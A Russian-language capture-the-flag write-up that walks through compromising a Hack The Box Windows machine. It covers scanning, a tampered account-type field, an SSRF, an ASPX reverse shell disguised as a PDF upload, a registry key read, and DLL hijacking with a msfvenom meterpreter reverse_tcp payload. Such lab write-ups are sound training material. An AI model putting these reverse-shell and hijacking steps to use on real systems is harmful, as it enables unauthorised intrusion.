Telegram / Boosty / Видео
Подпишись на канал t.me/kiberdruzhinnik, чтобы не пропускать контент.
Также на https://boosty.to/kiberdruzhinnik/posts/c7cb5a89-9531-4c67-adbf-2ec39dbf4865 я опубликовал подробный видео разбор этой задачи. Это может быть полезно для обучения, если вы делаете первые шаги в информационной безопасности. Поддержать меня на Boosty.
Обзор сервисов
Для сканирования машины 10.10.11.238
воспользуемся rustscan
:
$ rustscan --ulimit=5000 --range=1-65535 -a 10.10.11.238 -- -A -sC
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
Please contribute more quotes to our GitHub https://github.com/rustscan/rustscan
[~] The config file is expected to be at "/home/kali/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.10.11.238:80
Open 10.10.11.238:443
Open 10.10.11.238:7680
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} {{ip}} -A -sC" on ip 10.10.11.238
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-28 15:02 EDT
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 15:02
Completed NSE at 15:02, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 15:02
Completed NSE at 15:02, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 15:02
Completed NSE at 15:02, 0.00s elapsed
Initiating Ping Scan at 15:02
Scanning 10.10.11.238 [2 ports]
Completed Ping Scan at 15:02, 0.06s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 15:02
Completed Parallel DNS resolution of 1 host. at 15:02, 1.06s elapsed
DNS resolution of 1 IPs took 1.06s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating Connect Scan at 15:02
Scanning 10.10.11.238 [3 ports]
Discovered open port 80/tcp on 10.10.11.238
Discovered open port 443/tcp on 10.10.11.238
Discovered open port 7680/tcp on 10.10.11.238
Completed Connect Scan at 15:02, 0.05s elapsed (3 total ports)
Initiating Service scan at 15:02
Scanning 3 services on 10.10.11.238
Completed Service scan at 15:02, 43.82s elapsed (3 services on 1 host)
NSE: Script scanning 10.10.11.238.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 15:02
Completed NSE at 15:02, 5.12s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 15:02
Completed NSE at 15:02, 0.50s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 15:02
Completed NSE at 15:02, 0.00s elapsed
Nmap scan report for 10.10.11.238
Host is up, received syn-ack (0.057s latency).
Scanned at 2023-10-28 15:02:06 EDT for 50s
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack Microsoft IIS httpd 10.0
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to https://meddigi.htb/
|_http-server-header: Microsoft-IIS/10.0
443/tcp open https? syn-ack
7680/tcp open pando-pub? syn-ack
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 15:02
Completed NSE at 15:02, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 15:02
Completed NSE at 15:02, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 15:02
Completed NSE at 15:02, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 50.78 seconds
Веб-сервис
При переходе на веб-сервис на 80 порту происходит редирект на 443 порт и домен meddigi.htb
, поэтому добавим этот хост в /etc/hosts
.
$ sudo nano /etc/hosts
10.10.11.238 meddigi.htb
После этого попадаем на веб-сервис.
По перехвату запросов в Burp Suite обнаруживаем, что приложение написано на ASP DotNet Core.
Поищем поддомены с помощью gobuster
.
gobuster vhost -u https://meddigi.htb -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain -t 20 -k
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: https://meddigi.htb
[+] Method: GET
[+] Threads: 20
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
[+] Append Domain: true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Found: portal.meddigi.htb Status: 200 [Size: 2976]
Progress: 4989 / 4990 (99.98%)
===============================================================
Finished
===============================================================
Найденный поддомен аналогично добавим в /etc/hosts
.
Зарегистрируем себе пользователя на первом сайте, залогинимся и обнаружим JWT-токен в Cookie под именем access_token
.
Декодируем его и получим следующие значения:
{
"unique_name": "9",
"email": "[email protected]",
"nbf": 1698567881,
"exp": 1698571481,
"iat": 1698567881,
"iss": "MedDigi",
"aud": "MedDigiUser"
}
Проведем регистрацию еще раз и обнаружим, что у нас существует поле Acctype
.
Отправим запрос в Repeater и поменяем Acctype
(также добавим новую почту и логин).
После логина имеем учетную запись врача.
Скопируем Cookie access_token
и его значение и добавим его в portal.meddigi.htb
, после чего перезагрузим страницу и получим доступ к порталу.
Мы можем перейти на Issue Prescription
в боковом меню и увидеть поле для ввода почты и ссылки, которое генерирует превью.
Пробуем вводить туда разные адреса и находим нечто http://127.0.0.1:8080
.
Получаем ссылку вида https://portal.meddigi.htb/ViewReport.aspx?file=eefeccb8-4c86-45b4-a38d-81754324a11b_Cardiology_Report_1.pdf
.
Стоит отметить, что в меню Upload Report
можно загружать PDF-файлы, и там обнаруживается уязвимость SSRF.
Далее пробуем загрузить любой валидный PDF-файл и вытаскиваем его начальную сигнатуру, это должно быть похоже на %PDF-1.7
.
Берем ASPX реверс-шелл https://raw.githubusercontent.com/borjmz/aspx-reverse-shell/master/shell.aspx
и меняем в нем порт и IP-адрес на свои.
В начало шелла пишем метадату из валидного PDF, которую мы определили выше, после чего просто загружаем получившийся файл как PDF-отчет, при этом сохраняем наше расширение.
Снова через Issue Prescriptions
смотрим на список файлов и видим свой шелл:
https://portal.meddigi.htb/ViewReport.aspx?file=b8cf46f5-bb42-4ba3-ba5f-af15d07e5a12_r.aspx
Меняем домен в ссылке на http://127.0.0.1:8080
.
http://127.0.0.1:8080/ViewReport.aspx?file=b8cf46f5-bb42-4ba3-ba5f-af15d07e5a12_r.aspx
Запускаем netcat
и отправляем ссылку, после чего ловим подключение.
Пользовательский флаг
Повышение привилегий
Выполняем netstat
и видим приложение, которое работает на порту 100. Пробрасываем порт на локальную машину (в моем случае это будет порт 10100).
meterpreter> portfwd add -l 10100 -p 100 -r 127.0.0.1
Подключаемся с помощью netcat
на этот порт и смотрим, какая есть функциональность.
$ nc 127.0.0.1 10100
Reports Management administrative console. Type "help" to view available commands.
> help
Available Commands:
backup: Perform a backup operation.
validate: Validates if any report has been altered since the last backup.
recover <filename>: Restores a specified file from the backup to the Reports folder.
upload <external source>: Uploads the reports to the specified external source.
> backup
Backup operation completed successfully.
С помощью dnspy
реверсим бинарный DotNet-файл C:\inetpub\ExaminationPanel\ExaminationPanel\bin\ExaminationManagement.dll
и находим путь в реестре, где лежит ключ шифрования, затем вытаскиваем его.
meterpreter > reg queryval -k HKLM\\Software\\MedDigi -v EncKey
Key: HKLM\Software\MedDigi
Name: EncKey
Type: REG_SZ
Data: xxx
Теперь с помощью evil-winrm
подключаемся к машине в качестве devdoc
:
Находим каталог C:\Program Files\ReportManagement
, а в нем бинарный файл ReportManagement.exe
. С помощью реверса этого бинарника понимаем, что он подгружает в качестве динамической библиотеки файл C:\Program Files\ReportManagement\Libraries\externalupload.dll
.
Проверим наши права на этот файл.
Мы можем перезаписать этот файл как devdoc
.
Сгенерируем реверс-шелл для meterpreter:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.91 LPORT=4246 -f dll -o externalupload.dll
Переименуем старый externalupload.dll
и загрузим вместо него свой.
Запустим в meterpreter ожидание подключения, после чего снова подключимся с помощью netcat
к сервису с RemoteManagement.exe
и впишем в него:
upload pwn
Ловим подключение.